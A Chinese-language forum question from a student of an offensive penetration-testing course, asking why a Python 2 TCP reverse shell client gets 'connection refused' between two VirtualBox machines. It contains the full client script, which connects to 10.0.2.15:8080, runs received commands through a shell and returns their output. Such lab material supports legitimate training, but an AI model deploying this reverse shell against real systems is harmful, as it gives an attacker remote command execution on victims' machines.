我对 socket 很陌生,目前正在参加一个在线课程进行攻击性渗透测试。其中一课是 TCP Reverse shell。我在不同的虚拟机(使用 VirtualBox)上运行两个脚本,一个是攻击者,另一个是目标。攻击者脚本运行良好,但客户端输出错误:
Traceback (most recent call last):
File "C:\Users\Home\Desktop\TCP_RevShell.py", line 22 in <module> main()
File "C:\Users\Home\Desktop\TCP_RevShell.py", line 21, in main connect()
File "C:\Users\Home\Desktop\TCP_RevShell.py", line 6, in connect
s.connect(('10.0.2.15', 8080))
File "C:\Python27\lib\socket.py", line 228, in meth return getattr(self._sock,name) (*args)
error: [Errno 10061] No connection could be made because the target machine actively refused it
我的代码:
import socket
import subprocess
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.15', 8080))
while True:
command = s.recv(1024)
if 'terminate' in command:
s.close()
break
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send(CMD.stdout.read())
s.send(CMD.stdout.read())
def main():
connect()
main()
我不知道您是否需要查看其他脚本来回答我的问题,如果需要,请告诉我。任何帮助将不胜感激,〜Spiralio。